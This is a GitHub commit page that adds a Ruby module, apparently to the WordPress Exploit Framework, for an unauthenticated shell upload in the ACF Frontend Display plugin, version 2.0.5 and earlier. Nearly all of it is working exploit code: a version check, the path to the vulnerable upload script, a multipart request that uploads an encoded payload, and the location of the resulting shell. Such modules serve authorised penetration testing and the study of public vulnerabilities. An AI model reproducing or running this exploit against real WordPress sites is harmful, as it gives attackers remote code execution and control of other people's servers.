Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 11ea690

Browse files
committed
Add ACF Frontend Display <= v2.0.5 unauthenticated shell upload
1 parent 27afb82 commit 11ea690

File tree

1 file changed

+39
-0
lines changed

1 file changed

+39
-0
lines changed
Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
class Wpxf::Exploit::AcfFrontendDisplayShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ShellUpload
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'ACF Frontend Display <= 2.0.5 Unauthenticated Shell Upload',
9+
author: [
10+
'TCYB3R', # Discovery and disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8086'],
15+
['EDB', '37514']
16+
],
17+
date: 'Jul 03 2015'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('acf-frontend-display', '2.0.6')
23+
end
24+
25+
def uploader_url
26+
normalize_uri(wordpress_url_plugins, 'acf-frontend-display', 'js', 'blueimp-jQuery-File-Upload-d45deb1', 'server', 'php', 'index.php')
27+
end
28+
29+
def payload_body_builder
30+
builder = Utility::BodyBuilder.new
31+
builder.add_field('action', 'upload')
32+
builder.add_file_from_string('files', payload.encoded, payload_name)
33+
builder
34+
end
35+
36+
def uploaded_payload_location
37+
normalize_uri(wordpress_url_uploads, "uigen_#{Time.now.strftime('%Y')}", payload_name)
38+
end
39+
end

0 commit comments

Comments
 (0)